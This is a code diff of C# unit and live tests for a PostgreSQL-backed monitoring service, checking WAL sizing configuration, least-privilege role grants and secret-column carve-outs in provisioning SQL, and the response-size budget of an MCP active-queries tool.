+        foreach (var (written, later) in new[] { (above, below), (below, above) })
+        {
+            var confs = HealWalSizingAcrossStarts((written, 18), (later, 18), (written, 18));
+            Assert.Equal(1, CountOccurrences(confs[0], DarlingManagedPostgres.ConfMarkerV12));
+            Assert.Equal(confs[0], confs[1]);
+            Assert.Equal(confs[0], confs[2]);
+        }
+    }
+
+    /// <summary>
+    /// #5459: the "kept" log line names the block IN FORCE. A start just across a rung edge keeps the old stamp's
+    /// size, so the line must say that size (16 GB free writes 8192MB; 15.7 GB free derives 4096MB) plus the value
+    /// this reading derives and that it is within the drift tolerance. A start on the same rung keeps the plain
+    /// "unchanged" line and names the one value that is both derived and in force.
+    /// </summary>
+    [Fact]
+    public void WalSizing_KeptLogLine_NamesTheValuesInForce_NotTheOnesThisReadingDerives()
+    {
+        var written = 16 * OneGb + 300L * 1024 * 1024;
+        var below = 16 * OneGb - 300L * 1024 * 1024;
+        var inForceMb = DarlingManagedPostgres.DeriveWalSettings(written).MaxWalSizeMb;
+        var derivedMb = DarlingManagedPostgres.DeriveWalSettings(below).MaxWalSizeMb;
+        Assert.NotEqual(inForceMb, derivedMb);
+
+        var drift = new CapturingTestLogger();
+        HealWalSizingAcrossStarts(drift, (written, 18), (below, 18));
+        var driftLine = Assert.Single(drift.Lines, l => l.Contains("Managed store WAL sizing (v12)", StringComparison.Ordinal));
+        Assert.Contains(FormattableString.Invariant($"max_wal_size {inForceMb}MB"), driftLine, StringComparison.Ordinal);
+        Assert.Contains("in force and kept", driftLine, StringComparison.Ordinal);
+        Assert.Contains(FormattableString.Invariant($"derives max_wal_size {derivedMb}MB"), driftLine, StringComparison.Ordinal);
+        Assert.Contains("within the drift tolerance", driftLine, StringComparison.Ordinal);
+        Assert.DoesNotContain("unchanged", driftLine, StringComparison.Ordinal);
+
+        var sameRung = new CapturingTestLogger();
+        HealWalSizingAcrossStarts(sameRung, (64 * OneGb, 18), (100 * OneGb, 18));
+        var sameLine = Assert.Single(sameRung.Lines, l => l.Contains("Managed store WAL sizing (v12)", StringComparison.Ordinal));
+        var rungMb = DarlingManagedPostgres.DeriveWalSettings(100 * OneGb).MaxWalSizeMb;
+        Assert.Contains(FormattableString.Invariant($"max_wal_size {rungMb}MB"), sameLine, StringComparison.Ordinal);
+        Assert.Contains("unchanged, the block in force is kept", sameLine, StringComparison.Ordinal);
+        Assert.DoesNotContain("in force and kept", sameLine, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5459: the stamp parse hands back the sizes the stamp names, and zeros when it names none.</summary>
+    [Fact]
+    public void WalSizing_ConfHasWalSizingStampWithinDrift_ReturnsTheStampValues()
+    {
+        var written = 16 * OneGb + 300L * 1024 * 1024;
+        var block = DarlingManagedPostgres.BuildWalSizingConfAppend(written, 120 * OneGb, 18);
+        var settings = DarlingManagedPostgres.DeriveWalSettings(written);
+        Assert.True(DarlingManagedPostgres.ConfHasWalSizingStampWithinDrift(block, 16 * OneGb - 300L * 1024 * 1024, 18, out var maxMb, out var minMb));
+        Assert.Equal(settings.MaxWalSizeMb, maxMb);
+        Assert.Equal(settings.MinWalSizeMb, minMb);
+        Assert.False(DarlingManagedPostgres.ConfHasWalSizingStampWithinDrift("max_wal_size = 4GB\n", 16 * OneGb, 18, out maxMb, out minMb));
+        Assert.Equal(0, maxMb);
+        Assert.Equal(0, minMb);
+    }
+
+    /// <summary>#5459: the writer's tolerance is a band, not a switch-off. Headroom that halved or doubled still
+    /// appends a new block, so a real change is still healed.</summary>
+    [Theory]
+    [InlineData(20, 10)]
+    [InlineData(10, 20)]
+    [InlineData(40, 16)]
+    [InlineData(200, 60)]
+    public void WalSizing_HalvedOrDoubledHeadroom_StillAppends(long writtenGb, long laterGb)
+    {
+        var confs = HealWalSizingAcrossStarts((writtenGb * OneGb, 18), (laterGb * OneGb, 18));
+        Assert.Equal(1, CountOccurrences(confs[0], DarlingManagedPostgres.ConfMarkerV12));
+        Assert.Equal(2, CountOccurrences(confs[1], DarlingManagedPostgres.ConfMarkerV12));
+        Assert.Equal(
+            DarlingManagedPostgres.DeriveWalSettings(laterGb * OneGb).MaxWalSizeMb.ToString(System.Globalization.CultureInfo.InvariantCulture) + "MB",
+            LastSettingValue(confs[1], "max_wal_size"));
+    }
+
+    /// <summary>#5459: a different PostgreSQL major still appends even when the reading is within the band, because
+    /// the stamp's major decides the checkpoint pin and the tolerance never covers it.</summary>
+    [Fact]
+    public void WalSizing_MajorChangeWithinTheBand_StillAppends()
+    {
+        var free = 16 * OneGb + 300L * 1024 * 1024;
+        var confs = HealWalSizingAcrossStarts((free, 18), (free, 13));
+        Assert.Equal(1, CountOccurrences(confs[0], DarlingManagedPostgres.ConfMarkerV12));
+        Assert.Equal(2, CountOccurrences(confs[1], DarlingManagedPostgres.ConfMarkerV12));
+    }
+
+    /// <summary>#5459: no stamp yet, an unparseable stamp and a stamp of another major are never "within drift".</summary>
+    [Fact]
+    public void WalSizing_ConfHasWalSizingStampWithinDrift_RejectsAbsentUnparseableAndOtherMajor()
+    {
+        var block = DarlingManagedPostgres.BuildWalSizingConfAppend(16 * OneGb + 300L * 1024 * 1024, 120 * OneGb, 18);
+        Assert.True(DarlingManagedPostgres.ConfHasWalSizingStampWithinDrift(block, 16 * OneGb - 300L * 1024 * 1024, 18));
+        Assert.False(DarlingManagedPostgres.ConfHasWalSizingStampWithinDrift(block, 16 * OneGb - 300L * 1024 * 1024, 17));
+        Assert.False(DarlingManagedPostgres.ConfHasWalSizingStampWithinDrift("max_wal_size = 4GB\n", 16 * OneGb, 18));
+        Assert.False(DarlingManagedPostgres.ConfHasWalSizingStampWithinDrift(
+            DarlingManagedPostgres.ConfWalSizingStampPrefix + "garbage\n", 16 * OneGb, 18));
+    }
+
     /// <summary>
     /// THE STABILITY PROPERTY (#3802): free disk moving WITHIN a rung is not a change. The check runs on every
     /// start and compares the last stamp exactly, so — v8's lesson, with more force, because free disk moves
@@ -3669,8 +4034,8 @@ longer holds any of our blocks after migration — the managed file is the only
                     CountAssignments(healedManagedConf, "shared_preload_libraries") == 1,
                     $"darling-managed.conf should carry exactly one shared_preload_libraries assignment. {diagnostics}");
                 Assert.True(
-                    string.Equals("timescaledb,pg_stat_statements", LastConfAssignment(healedManagedConf, "shared_preload_libraries"), StringComparison.Ordinal),
-                    $"darling-managed.conf's shared_preload_libraries should merge timescaledb and pg_stat_statements. {diagnostics}");
+                    string.Equals("timescaledb,pg_stat_statements,auto_explain", LastConfAssignment(healedManagedConf, "shared_preload_libraries"), StringComparison.Ordinal),
+                    $"darling-managed.conf's shared_preload_libraries should merge timescaledb, pg_stat_statements and auto_explain. {diagnostics}");
 
                 /* A PRECONDITION of the reading below, not part of what the heal is judged on — and the trap
                    in this whole area. `timescaledb` in shared_preload_libraries loads the LOADER, and the
diff --git a/Darling/Darling.Tests/DarlingManagedRolesTests.cs b/Darling/Darling.Tests/DarlingManagedRolesTests.cs
index da6997f616..25c7121de8 100644
--- a/Darling/Darling.Tests/DarlingManagedRolesTests.cs
+++ b/Darling/Darling.Tests/DarlingManagedRolesTests.cs
@@ -11,6 +11,7 @@
 using System.Linq;
 using System.Text.RegularExpressions;
 using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
 using Xunit;
 
 namespace Darling.Tests;
@@ -25,6 +26,150 @@ namespace Darling.Tests;
 /// </summary>
 public sealed class DarlingManagedRolesTests
 {
+    /// <summary>The EXECUTE grant of the edit function (#5240), as the managed batch and <c>Darling/tools/provision-roles.sql</c>
+    /// both carry it. The edit's one write goes through that function; viewer holds no UPDATE on the table.</summary>
+    private static readonly string EditGrant =
+        "GRANT EXECUTE ON FUNCTION config.edit_monitored_server(" + DarlingManagedRoles.EditMonitoredServerSignature + ") TO viewer, mcp;";
+
+    /// <summary>The REVOKE (#5240): revoking the table privilege also revokes every column privilege, so each run leaves viewer
+    /// with no UPDATE on the table and strips one granted by an earlier build or by hand.</summary>
+    private const string EditRevoke = "REVOKE UPDATE ON config.config_monitored_servers FROM viewer;";
+
+    /// <summary>
+    /// The census of viewer grants on <c>config.config_monitored_servers</c> (#4843, #5240): every uncommented GRANT that names
+    /// viewer on it, except the column-level SELECT carve, which is a read and not a write. The skip is exactly that shape, a
+    /// SELECT list in parentheses straight onto ON: a bare <c>(?!SELECT )</c> skipped every statement that merely STARTED with
+    /// SELECT, so a table-level UPDATE behind a column SELECT, or a table-level SELECT that undoes the
+    /// <c>encrypted_password</c> carve, passed the census unseen.
+    /// </summary>
+    private static string[] ViewerGrantsOnMonitoredServers(string sql) =>
+        Regex.Matches(
+                Regex.Replace(sql, @"(?m)^\s*--.*$", ""),
+                @"GRANT (?!SELECT \([^)]*\) ON )[^;]*? ON config\.config_monitored_servers TO [^;]*viewer[^;]*;")
+            .Select(m => m.Value).ToArray();
+
+    /// <summary>
+    /// The census must SEE each statement that is not a pure column-level SELECT. Each line is appended to the real batch as one
+    /// more viewer grant, and the census must then list it. Against the old <c>(?!SELECT )</c> skip the first two cases were
+    /// invisible: both start with SELECT.
+    /// </summary>
+    [Theory]
+    [InlineData("GRANT SELECT (name), UPDATE ON config.config_monitored_servers TO viewer;")]
+    [InlineData("GRANT SELECT ON config.config_monitored_servers TO viewer;")]
+    [InlineData("GRANT SELECT, UPDATE (name) ON config.config_monitored_servers TO viewer;")]
+    [InlineData("GRANT UPDATE ON config.config_monitored_servers TO viewer;")]
+    [InlineData("GRANT DELETE ON config.config_monitored_servers TO admin, viewer;")]
+    public void TheMonitoredServersCensus_ListsAnyViewerGrantThatIsNotThePureColumnSelectCarve(string extraGrant)
+    {
+        var sql = DarlingManagedRoles.BuildProvisioningSql(ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+        var shipped = ViewerGrantsOnMonitoredServers(sql);
+
+        Assert.Equal(shipped.Append(extraGrant).ToArray(), ViewerGrantsOnMonitoredServers(sql + "\n" + extraGrant));
+    }
+
+    /// <summary>The other half: the column-level SELECT carve itself stays out of the census, whatever columns it lists, so
+    /// narrowing the census did not turn the carve (a read) into a counted write.</summary>
+    [Fact]
+    public void TheMonitoredServersCensus_SkipsThePureColumnLevelSelectCarve()
+    {
+        var sql = DarlingManagedRoles.BuildProvisioningSql(ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+
+        Assert.Equal(
+            ViewerGrantsOnMonitoredServers(sql),
+            ViewerGrantsOnMonitoredServers(sql + "\nGRANT SELECT (server_id, name, host) ON config.config_monitored_servers TO viewer;"));
+    }
+
+    private static string NormalizeSql(string sql) =>
+        Regex.Replace(Regex.Replace(sql, @"(?m)^\s*--.*$", ""), @"\s+", " ").Trim();
+
+    /// <summary>
+    /// A store that is not managed is told to RE-RUN <c>Darling/tools/provision-roles.sql</c>, so that script is what it gets,
+    /// and nothing tied it to the managed batch's: the script carries the SAME edit function the batch does (text compared
+    /// with comments and spacing set aside), the same EXECUTE grant, the REVOKE of any viewer UPDATE, and never a viewer
+    /// grant on the table beyond INSERT.
+    /// </summary>
+    [Fact]
+    public void TheByoScript_CarriesTheSameEditFunction_AsTheManagedBatch()
+    {
+        var byo = Regex.Replace(RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql"), @"(?m)^\s*--.*$", "");
+
+        Assert.Contains(NormalizeSql(DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config")), NormalizeSql(byo), StringComparison.Ordinal);
+        Assert.Contains(EditGrant, byo, StringComparison.Ordinal);
+        Assert.Contains("GRANT INSERT ON config.config_monitored_servers TO viewer;", byo, StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"GRANT[^;]*\bUPDATE\b[^;]*ON config\.config_monitored_servers TO [^;]*viewer", byo);
+        Assert.Single(Regex.Matches(byo, @"REVOKE UPDATE ON config\.config_monitored_servers FROM [^;]*viewer[^;]*;"));
+        Assert.Contains(EditRevoke, byo, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The store's password rules (a trigger on <c>config_monitored_servers</c> and its function) are provisioning, not a
+    /// migration, so a managed store gets them from the batch on every start and a self-managed store from the script: the
+    /// same text in both, created idempotently, and nothing in the migrations that would move the schema version.
+    /// </summary>
+    [Fact]
+    public void TheByoScript_CarriesTheSamePasswordRules_AsTheManagedBatch()
+    {
+        var byo = Regex.Replace(RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql"), @"(?m)^\s*--.*$", "");
+        var rules = DarlingManagedRoles.BuildServerPasswordRulesSql("config");
+        var batch = DarlingManagedRoles.BuildProvisioningSql(ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+
+        Assert.Contains(NormalizeSql(rules), NormalizeSql(byo), StringComparison.Ordinal);
+        Assert.Contains(rules, batch, StringComparison.Ordinal);
+        Assert.Contains("CREATE OR REPLACE FUNCTION config.monitored_server_password_rules()", rules, StringComparison.Ordinal);
+        Assert.Contains("CREATE OR REPLACE TRIGGER trg_monitored_server_password_rules", rules, StringComparison.Ordinal);
+        Assert.Contains("BEFORE INSERT OR UPDATE ON config.config_monitored_servers", rules, StringComparison.Ordinal);
+        Assert.DoesNotContain("monitored_server_password_rules", PgMigrations.Scripts.Aggregate("", (all, script) => all + script.Sql), StringComparison.Ordinal);
+
+        /* The edit function refuses a reference in the same two spellings the service reads. */
+        var function = DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config");
+        Assert.Contains("left(p_secret, 4) = 'env:' OR left(p_secret, 5) = 'file:'", function, StringComparison.Ordinal);
+        Assert.Contains("'reference_refused'", function, StringComparison.Ordinal);
+
+        /* The rules read the catalog by its schema and keep the temporary schema last; the two definer functions pin it the
+           same way. Each string is in the batch's text and, by the comparison above, in the script's. */
+        Assert.Contains("FROM pg_catalog.pg_class AS c", rules, StringComparison.Ordinal);
+        Assert.Contains("SET search_path = pg_catalog, pg_temp", rules, StringComparison.Ordinal);
+        Assert.Contains("SET search_path = pg_catalog, pg_temp", function, StringComparison.Ordinal);
+        Assert.Contains("SET search_path = pg_catalog, pg_temp", DarlingManagedRoles.BuildCustomAlertResolveFunctionSql("config"), StringComparison.Ordinal);
+        Assert.DoesNotContain("FROM pg_class", rules, StringComparison.Ordinal);
+
+        /* The edit function names its table by schema in both statements, so the pinned path needs nothing from config. */
+        Assert.Contains("FROM config.config_monitored_servers AS s", function, StringComparison.Ordinal);
+        Assert.Contains("UPDATE config.config_monitored_servers AS s", function, StringComparison.Ordinal);
+
+        /* A change to how a row is reached while it holds a remediation login has its own outcome and its own state. */
+        Assert.Contains("'remediation_kept'", function, StringComparison.Ordinal);
+        Assert.Contains("USING ERRCODE = 'PW003'", rules, StringComparison.Ordinal);
+        Assert.Contains("This server has a remediation login stored. Change how it is reached on the service host, in the configuration file or with --add-server.", rules, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The rules' three refusal sentences are literal in the managed batch and in the script, and each is the one in
+    /// <see cref="ServerConnectionRule"/> that the web, MCP and viewer answers use: every message the rules raise is one of
+    /// the three, and each of the three is raised, plus the AWS role rule's (#5452).
+    /// </summary>
+    [Fact]
+    public void TheRulesRefusalSentences_AreTheSharedConstants_InTheManagedBatchAndTheScript()
+    {
+        var expected = new[]
+        {
+            ServerConnectionRule.PasswordNeededOnMoveText,
+            ServerConnectionRule.ReferenceRefusedText,
+            ServerConnectionRule.RemediationKeptText,
+            AwsRoleSettings.RoleChangeNeedsExternalIdMessage,
+        };
+        var byo = Regex.Replace(RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql"), @"(?m)^\s*--.*$", "");
+        var rules = DarlingManagedRoles.BuildServerPasswordRulesSql("config");
+        var pattern = new Regex(@"RAISE EXCEPTION '%', '([^']*)'");
+
+        foreach (var text in new[] { rules, byo })
+        {
+            var raised = pattern.Matches(text).Select(match => match.Groups[1].Value).ToList();
+            Assert.All(raised, sentence => Assert.Contains(sentence, expected));
+            Assert.Equal(expected.OrderBy(s => s, StringComparer.Ordinal), raised.Distinct().OrderBy(s => s, StringComparer.Ordinal));
+        }
+    }
+
     [Fact]
     public void BuildProvisioningSql_CreatesRolesIdempotently_LoginNoSuperuser()
     {
@@ -132,6 +277,28 @@ mcp role has — plus the COLUMN-level config_service beacon grant the SECURITY-
         Assert.Contains("GRANT UPDATE (config_version, updated_at) ON config.config_service TO viewer;", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("GRANT UPDATE ON config.config_service TO viewer", sql, StringComparison.Ordinal);
 
+        /* #5085: the web server-tag endpoints run as viewer: the same two single-table writes mcp holds, and no
+           default-privileges shortcut. */
+        Assert.Contains("GRANT INSERT, UPDATE, DELETE ON config.server_tags TO viewer;", sql, StringComparison.Ordinal);
+        Assert.Contains("GRANT INSERT, UPDATE, DELETE ON config.server_tag_map TO viewer;", sql, StringComparison.Ordinal);
+
+        /* #4843: the web add-server route runs the add_servers core as viewer: INSERT on config_monitored_servers and nothing
+           else on it: no UPDATE (#5240: the edit's write is the config.edit_monitored_server function, granted EXECUTE below),
+           no DELETE. The census is the whole set of viewer grants on the table. The credential column stays SELECT-carved. */
+        Assert.Contains("GRANT INSERT ON config.config_monitored_servers TO viewer;", sql, StringComparison.Ordinal);
+        Assert.Equal(new[] { "GRANT INSERT ON config.config_monitored_servers TO viewer;" }, ViewerGrantsOnMonitoredServers(sql));
+
+        /* The REVOKE takes away any UPDATE an earlier build granted viewer; it is not a GRANT, so the census never sees it. */
+        Assert.Single(Regex.Matches(Regex.Replace(sql, @"(?m)^\s*--.*$", ""), @"REVOKE UPDATE ON config\.config_monitored_servers FROM [^;]*viewer[^;]*;"));
+        Assert.Contains(EditRevoke, sql, StringComparison.Ordinal);
+
+        /* The edit function (#5240): created, REVOKEd from PUBLIC, then EXECUTE to viewer and mcp only. */
+        Assert.Contains("CREATE OR REPLACE FUNCTION config.edit_monitored_server(", sql, StringComparison.Ordinal);
+        Assert.Contains(DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config"), sql, StringComparison.Ordinal);
+        Assert.Contains(EditGrant, sql, StringComparison.Ordinal);
+        var functionRevokeAt = sql.IndexOf("REVOKE ALL ON FUNCTION config.edit_monitored_server(", StringComparison.Ordinal);
+        Assert.True(functionRevokeAt >= 0 && functionRevokeAt < sql.IndexOf(EditGrant, StringComparison.Ordinal), "the PUBLIC revoke must precede the EXECUTE grant.");
+
         /* It must NOT widen the schema-wide config write to viewer (that grant stays admin-only, pinned here). */
         Assert.Contains("GRANT INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA config TO admin;", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA config TO admin, viewer", sql, StringComparison.Ordinal);
@@ -188,7 +355,8 @@ public void BuildProvisioningSql_CarvesViewerSecretColumns_FailClosed()
         {
             foreach (var line in viewerGrantLines)
             {
-                Assert.DoesNotContain(secret, line, StringComparison.Ordinal);
+                /* A whole name, not a substring: aws_external_id_set (readable) contains aws_external_id (not). */
+                Assert.DoesNotMatch($"(?<![A-Za-z0-9_]){Regex.Escape(secret)}(?![A-Za-z0-9_])", line);
             }
         }
     }
@@ -201,7 +369,7 @@ public void ViewerRestrictedConfigTables_SecretAndNonSecretColumns_AreDisjointAn
             /* V113 (#2138 phase 1): the remediation credential's blob is the same kind of thing as the
                monitoring one beside it — a DPAPI secret — and it authenticates a WRITE, so if anything on
                this table is secret it is. */
-            ["config_monitored_servers"] = new[] { "encrypted_password", "remediation_encrypted_password" },
+            ["config_monitored_servers"] = new[] { "encrypted_password", "remediation_encrypted_password", "aws_external_id" },
             ["config_command"] = new[] { "args_json" },
             /* generic_url is a bearer secret like the sibling webhook URLs, and generic_headers holds the
                Authorization token itself (#1506 / V26). pagerduty_routing_key is the Events API v2 integration
@@ -348,6 +516,9 @@ public void BuildProvisioningSql_McpRole_GrantsAlertTuningWrites_NarrowlyWithBea
            alert-settings row (never INSERT/DELETE — the row is a fixed singleton the service seeds). */
         Assert.Contains("GRANT INSERT, UPDATE, DELETE ON config.config_mute_rules TO mcp;", sql, StringComparison.Ordinal);
         Assert.Contains("GRANT UPDATE ON config.config_alert_settings TO mcp;", sql, StringComparison.Ordinal);
+        /* The fleet server-tag write tools (#5085): the admin gate is exactly these two single-table grants. */
+        Assert.Contains("GRANT INSERT, UPDATE, DELETE ON config.server_tags TO mcp;", sql, StringComparison.Ordinal);
+        Assert.Contains("GRANT INSERT, UPDATE, DELETE ON config.server_tag_map TO mcp;", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("INSERT, UPDATE, DELETE ON config.config_alert_settings", sql, StringComparison.Ordinal);
 
         /* The beacon caveat: a config_alert_settings write fires the SECURITY INVOKER bump trigger, which UPDATEs
@@ -372,7 +543,11 @@ public void BuildProvisioningSql_McpRole_GrantsMonitoredServersWrite_Narrowly()
 
         /* The MCP server-onboarding write tools (add_servers / remove_server): full CRUD on the single
            config_monitored_servers table — an EXPLICIT single-table statement, its own 'TO mcp' line. */
-        Assert.Contains("GRANT INSERT, UPDATE, DELETE ON config.config_monitored_servers TO mcp;", sql, StringComparison.Ordinal);
+        Assert.Contains("GRANT INSERT, DELETE ON config.config_monitored_servers TO mcp;", sql, StringComparison.Ordinal);
+
+        /* The UPDATE is column by column (#5452): every column but the AWS role and external ID, which change through the edit function. */
+        Assert.Contains($"GRANT UPDATE ({DarlingManagedRoles.McpMonitoredServerUpdateColumns})", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("GRANT INSERT, UPDATE, DELETE ON config.config_monitored_servers", sql, StringComparison.Ordinal);
 
         /* Still NARROW: no schema-wide config write for mcp, and NO ALTER DEFAULT PRIVILEGES names mcp (either
            would broaden it to all of config). No NEW config_service grant — section 8's beacon column-grant
@@ -410,7 +585,8 @@ credential columns. */
         {
             foreach (var line in mcpGrantLines)
             {
-                Assert.DoesNotContain(secret, line, StringComparison.Ordinal);
+                /* A whole name, not a substring: aws_external_id_set (readable) contains aws_external_id (not). */
+                Assert.DoesNotMatch($"(?<![A-Za-z0-9_]){Regex.Escape(secret)}(?![A-Za-z0-9_])", line);
             }
         }
     }
@@ -524,9 +700,9 @@ row config_alert_log otherwise refuses them WITHOUT a blanket INSERT grant that
         Assert.Contains("CREATE OR REPLACE FUNCTION config.record_custom_alert_resolution(", sql, StringComparison.Ordinal);
         Assert.Contains("SECURITY DEFINER", sql, StringComparison.Ordinal);
 
-        /* The pinned search_path (config first, then pg_catalog) is what makes injection impossible — no caller
-           path can redirect the unqualified config_alert_log or now(). */
-        Assert.Contains("SET search_path = config, pg_catalog", sql, StringComparison.Ordinal);
+        /* The pinned search_path (pg_catalog, the temporary schema last) and the table named by its
+           schema keep a caller's temporary objects and search path from redirecting the config_alert_log write or now(). */
+        Assert.Contains("SET search_path = pg_catalog, pg_temp", sql, StringComparison.Ordinal);
 
         /* A fresh function is EXECUTE-able by PUBLIC by default, so the REVOKE is mandatory and must precede the
            narrow grant; EXECUTE is the ONLY privilege the least-privilege roles get. */
@@ -538,11 +714,16 @@ path can redirect the unqualified config_alert_log or now(). */
 
         /* The body writes ONE config_alert_log row, shape-LOCKED to a no-channel resolution (alert_sent false,
            notification_type 'none', zeroed values, unmuted) — so a grantee can page nothing and forge no fire. */
-        Assert.Contains("INSERT INTO config_alert_log", sql, StringComparison.Ordinal);
+        Assert.Contains("INSERT INTO config.config_alert_log", sql, StringComparison.Ordinal);
         Assert.Contains("false, 'none', NULL, false,", sql, StringComparison.Ordinal);
 
-        /* NOT the rejected blanket grant: viewer/mcp never get a direct write on the history table. */
-        Assert.DoesNotContain("ON config.config_alert_log TO viewer", sql, StringComparison.Ordinal);
+        /* NOT the rejected blanket grant: viewer/mcp never get a table-level write on the history table. The one
+           privilege on it that viewer holds is the single-column dismiss grant (#4843), so every statement naming
+           the table TO viewer must be exactly that one. */
+        Assert.Equal(
+            new[] { "GRANT UPDATE (dismissed) ON config.config_alert_log TO viewer;" },
+            System.Text.RegularExpressions.Regex.Matches(sql, @"GRANT [^;]*? ON config\.config_alert_log TO [^;]*viewer[^;]*;")
+                .Select(m => m.Value).ToArray());
         Assert.DoesNotContain("ON config.config_alert_log TO mcp", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("ON config_alert_log TO viewer", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("ON config_alert_log TO mcp", sql, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs b/Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs
index 24cc6847ac..8035d307e1 100644
--- a/Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs
@@ -71,15 +71,16 @@ public async Task GetActiveQueries_Default_StaysUnderResponseBudget_WithFiftyRea
                 var hasWait = i % 4 == 0;
 
                 await DarlingMcpTestData.ExecAsync(connection, ct,
-                    @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id)
-VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26)",
+                    @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id, wait_resource, percent_complete, query_hash)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29)",
                     CollectionIdGenerator.Next(), t, ServerId, ServerName, 100 + i, db,
                     "00 00:00:05.125", text, i % 5 == 0 ? "suspended" : "running", 0,
                     hasWait ? "PAGEIOLATCH_SH" : null, hasWait ? 250L + i : 0L, 1000L + (i * 37), 1500L + (i * 37),
                     10_000L + (i * 123), 50L + i, i % 7, i % 6 == 0 ? 0.75m : 0m,
                     i % 2 == 0 ? "Read Committed" : "Repeatable Read", i % 6 == 0 ? 8 : 1, i % 6 == 0 ? 4 : 0,
                     i % 2 == 0 ? "app_svc_prod" : @"CONTOSO\svc_reporting", $"APPSRV{i % 5:D2}",
-                    i % 2 == 0 ? ".Net SqlClient Data Provider" : "MyOrderService.Worker", i % 3 == 0 ? 1 : 0, 0);
+                    i % 2 == 0 ? ".Net SqlClient Data Provider" : "MyOrderService.Worker", i % 3 == 0 ? 1 : 0, 0,
+                    "KEY: 5:72057594043432960 (a1b2c3d4e5f6)", 12.5m + i, "0x" + (0x1A2B3C4D5E6F7080L + i).ToString("X16"));
             }
 
             /* #4198's own default (25, down from 50) truncates the 50-row population — total_snapshots still
@@ -116,6 +117,81 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /// <summary>
+    /// #4966: the same 50 heavy rows, read over a window the store does NOT cover (24 hours back, 49 minutes held), so the three
+    /// window-floor keys and the 177-character note ride on the payload. The covered case is 30,598 bytes (30,223 before #5228 added request_id to each row; the plan flags are omitted unless true); this one reads 30,879 bytes and
+    /// pins that the cut window's extra keys do not push the default call over it.
+    /// </summary>
+    [Fact]
+    public async Task GetActiveQueries_Default_WithACutWindow_StaysUnderResponseBudget_WithFiftyRealisticRows()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live active-queries budget test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        const string cutServerName = "darling-mcp-active-queries-budget-cut-e2e";
+        var cutServerId = ServerIdHelper.GetDeterministicHashCode(cutServerName);
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, cutServerId, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, cutServerId, cutServerName, ct);
+            var baseTime = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-49);
+            var wideText = BuildQueryText(seed: 999, approxLength: 2_800);
+            await SeedFiftyHeavyRowsAsync(connection, cutServerId, cutServerName, wideText, baseTime, ct);
+
+            var cutJson = await DarlingMcpSessionTools.GetActiveQueries(postgres, cutServerName, hours_back: 24);
+            using var cutParsed = JsonDocument.Parse(cutJson);
+            Assert.True(cutParsed.RootElement.GetProperty("window_truncated").GetBoolean(), "the 24-hour window must read as cut.");
+            Assert.False(string.IsNullOrEmpty(cutParsed.RootElement.GetProperty("effective_start").GetString()));
+            var note = cutParsed.RootElement.GetProperty("truncation_note").GetString()!;
+            Assert.InRange(note.Length, 150, 250);
+            Assert.Equal(25, cutParsed.RootElement.GetProperty("snapshots_returned").GetInt32());
+
+            var cutBytes = Encoding.UTF8.GetByteCount(cutJson);
+            _output.WriteLine($"get_active_queries default call, cut window: {cutBytes:N0} bytes (budget {McpResponseBudget.DefaultBytes:N0}), note {note.Length} characters.");
+            Assert.True(cutBytes < McpResponseBudget.DefaultBytes,
+                $"get_active_queries' default call over a cut window is {cutBytes:N0} bytes, at or over the {McpResponseBudget.DefaultBytes:N0}-byte budget.");
+
